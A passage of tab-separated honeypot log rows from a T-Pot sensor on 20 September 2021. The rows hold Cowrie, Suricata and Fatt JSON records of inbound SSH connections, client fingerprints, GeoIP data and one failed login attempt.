29819	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:30:09.045612+03	2021-09-20 14:45:02.208142+03	{"_id": "mAb4AnwBvYTbRNuEczhb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "acb8c44ea492", "@version": "1", "timestamp": "2021-09-20T11:30:09.045612Z", "@timestamp": "2021-09-20T11:30:09.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
29820	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:30:09.101907+03	2021-09-20 14:45:02.210141+03	{"_id": "mQb4AnwBvYTbRNuEczhb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "95535494dbed", "@version": "1", "duration": 1.4748594760894775, "timestamp": "2021-09-20T11:30:09.101907Z", "@timestamp": "2021-09-20T11:30:09.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29821	5.188.62.219	109.199.241.180	Suricata	2021-09-20 14:30:09.043416+03	2021-09-20 14:45:02.211142+03	{"_id": "mgb4AnwBvYTbRNuEdTgE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "flow_id": 1994550344220602, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59944, "dest_port": 22, "timestamp": "2021-09-20T11:30:09.043416Z", "@timestamp": "2021-09-20T11:30:09.043Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
29822	5.188.62.219	109.199.241.180	Fatt	2021-09-20 14:30:09.045222+03	2021-09-20 14:45:02.213142+03	{"_id": "nQb4AnwBvYTbRNuEdjgu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 59944, "dest_port": 22, "timestamp": "2021-09-20T11:30:09.045222", "@timestamp": "2021-09-20T11:30:09.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29823	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:30:10.595938+03	2021-09-20 14:45:02.214142+03	{"_id": "ngb4AnwBvYTbRNuEejgX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37050, "timestamp": "2021-09-20T11:30:10.595938", "@timestamp": "2021-09-20T11:30:10.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29824	107.0.200.227	109.199.241.180	Fatt	2021-09-20 14:30:10.731356+03	2021-09-20 14:45:02.215142+03	{"_id": "nwb4AnwBvYTbRNuEejgp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37050, "dest_port": 22, "timestamp": "2021-09-20T11:30:10.731356", "@timestamp": "2021-09-20T11:30:10.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29825	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:30:10.594564+03	2021-09-20 14:45:02.216143+03	{"_id": "pQb4AnwBvYTbRNuEezgp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "851689264013", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:30:10.594564Z", "@timestamp": "2021-09-20T11:30:10.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29826	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:30:10.731356+03	2021-09-20 14:45:02.218141+03	{"_id": "qgb4AnwBvYTbRNuEfDjW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:30:10.455927+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 58759191917815, "payload": "AAADzAYUEVoGWGravbpDZQleTn51JgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37050, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:30:10.731356Z", "@timestamp": "2021-09-20T11:30:10.731Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......Z.Xj...Ce.^N~u&...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29827	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:30:11.369922+03	2021-09-20 14:45:02.220141+03	{"_id": "qwb4AnwBvYTbRNuEfzgS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [juni/juni] failed", "session": "851689264013", "@version": "1", "password": "juni", "username": "juni", "timestamp": "2021-09-20T11:30:11.369922Z", "@timestamp": "2021-09-20T11:30:11.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29828	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:30:07.628172+03	2021-09-20 14:45:02.221143+03	{"_id": "fAb4AnwBvYTbRNuEbjhd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32800, "timestamp": "2021-09-20T11:30:07.628172", "@timestamp": "2021-09-20T11:30:07.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29829	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:30:07.624547+03	2021-09-20 14:45:02.223141+03	{"_id": "hwb4AnwBvYTbRNuEbzhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:32800 (192.168.176.2:22) [session: 95535494dbed]", "session": "95535494dbed", "@version": "1", "protocol": "ssh", "src_port": 32800, "dest_port": 22, "timestamp": "2021-09-20T11:30:07.624547Z", "@timestamp": "2021-09-20T11:30:07.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29830	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:30:08.109208+03	2021-09-20 14:45:02.224141+03	{"_id": "iAb4AnwBvYTbRNuEbzhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b422715889bc", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:30:08.109208Z", "@timestamp": "2021-09-20T11:30:08.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29831	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:30:07.627416+03	2021-09-20 14:45:02.225143+03	{"_id": "igb4AnwBvYTbRNuEbzhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "95535494dbed", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:30:07.627416Z", "@timestamp": "2021-09-20T11:30:07.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29832	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:30:07.681251+03	2021-09-20 14:45:02.226144+03	{"_id": "iwb4AnwBvYTbRNuEbzhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "95535494dbed", "@version": "1", "timestamp": "2021-09-20T11:30:07.681251Z", "@timestamp": "2021-09-20T11:30:07.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 